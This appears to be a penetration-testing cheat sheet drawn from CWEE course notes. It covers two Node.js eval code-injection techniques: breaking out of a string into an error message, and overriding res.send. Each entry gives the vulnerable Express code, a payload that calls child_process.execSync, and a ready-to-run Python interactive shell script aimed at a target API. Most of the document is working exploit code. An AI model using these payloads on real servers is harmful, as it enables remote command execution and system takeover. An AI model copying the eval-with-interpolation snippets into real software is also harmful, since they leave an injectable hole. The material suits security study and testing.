In-band
In-band RCE: string breakout, execSync, output returned in an error message
Attacker-controlled text is inserted into a JavaScript source string. eval() executes that constructed source when validation fails.
Vulnerable source
const text = req.body.text;
const errorSource = `throw({message: 'The input "${text}" contains invalid characters', statusCode: 403})`;
eval(errorSource);The vulnerability is the interpolation of text into errorSource before eval() parses it. Returning the resulting error through Express only provides the in-band output channel.
Break and repair
The injected text value is:
' + require('child_process').execSync('<COMMAND>').toString(), statusCode: 403})//
After interpolation, the source passed to eval() becomes:
throw({message: 'The input "' + require('child_process').execSync('<COMMAND>').toString(), statusCode: 403})//" contains invalid characters', statusCode: 403})
The first ' closes the message string. + concatenates command output into message. , statusCode: 403}) repairs and closes the thrown object. // comments the original suffix that would otherwise cause a syntax error.
The error middleware returns message, making command output available in the JSON response. Single quotes inside the operating-system command are replaced with double quotes so they cannot terminate the execSync('...') argument.
import requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {} # {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} for Burp
GEN_URL = "https://target/api/service/generate"
PREFIX = len('The input "') # static text the error message prepends
def run(cmd):
cmd = cmd.replace("'", '"') # keep the execSync('...') argument string intact
text = f"' + require('child_process').execSync('{cmd}').toString(), statusCode: 403}})//"
r = s.post(GEN_URL, json={"text": text}, verify=False, proxies=PROXIES, timeout=10)
output = r.json()["message"][PREFIX:]
return output
# s: authenticated requests.Session (admin bearer token already in s.headers)
while True:
print("[+] " + run(input("> ").strip()))Command
idExpected output
[+] uid=0(root) gid=0(root) groups=0(root)Find by: javascript injection, node code injection, execSync, child_process, RCE, eval injection, break out of js string, command output in response, in-band exfil · Source: CWEE/JavaScript Code Injection (In Band Response.md)
In-band RCE: response rewriting via res.send() then neuter further sends
When the normal response does not contain the evaluated result, an in-scope Express res object can provide the output channel.
Vulnerable source
const ip = req.body.ip;
const parsedIP = eval(`uip = JSON.parse('${ip}').ip`);
child_process.execFile("ping", ["-c", "1", parsedIP], function (error, stdout) {
res.send(stdout);
});The vulnerability is the interpolation of ip into the source passed to eval(). execFile() is not the injection sink; it receives the value produced after the injected JavaScript has already executed.
Break and repair
The injected ip value is:
{"ip":"8.8.8.8"}').ip;let output=require('child_process').execSync('<COMMAND>').toString();res.send(output);res.send=function(){}//
After interpolation, the source passed to eval() becomes:
uip = JSON.parse('{"ip":"8.8.8.8"}').ip;
let output = require('child_process').execSync('<COMMAND>').toString();
res.send(output);
res.send = function() {};
//').ip
').ip closes the original JSON string and preserves a valid initial expression. The semicolon starts independent JavaScript statements. res.send(output) returns the command output, while replacing res.send with an empty function prevents the later callback from sending a second response. // comments the original suffix.
Single quotes inside the operating-system command are replaced with double quotes so they cannot terminate the execSync('...') argument.
import requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {}
PING_URL = "https://target/api/service/ping"
def run(cmd):
cmd = cmd.replace("'", '"') # keep the execSync('...') argument string intact
ip = (f"{{\"ip\": \"8.8.8.8\"}}').ip;"
f"let out=require('child_process').execSync('{cmd}').toString();"
f"res.send(out);res.send=function(){{}}//")
r = s.post(PING_URL, json={"external": "true", "ip": ip}, verify=False, proxies=PROXIES, timeout=10)
response_text = r.text
return response_text
# s: authenticated requests.Session (admin bearer token already in s.headers)
while True:
print(run(input("> ").strip()), end="")Command
<COMMAND>Expected output
<COMMAND_OUTPUT>Find by: javascript injection, node code injection, res.send override, response rewriting, execSync, child_process, RCE, JSON.parse injection, headers already sent, in-band exfil · Source: CWEE/JavaScript Code Injection (Assessment In Band.md)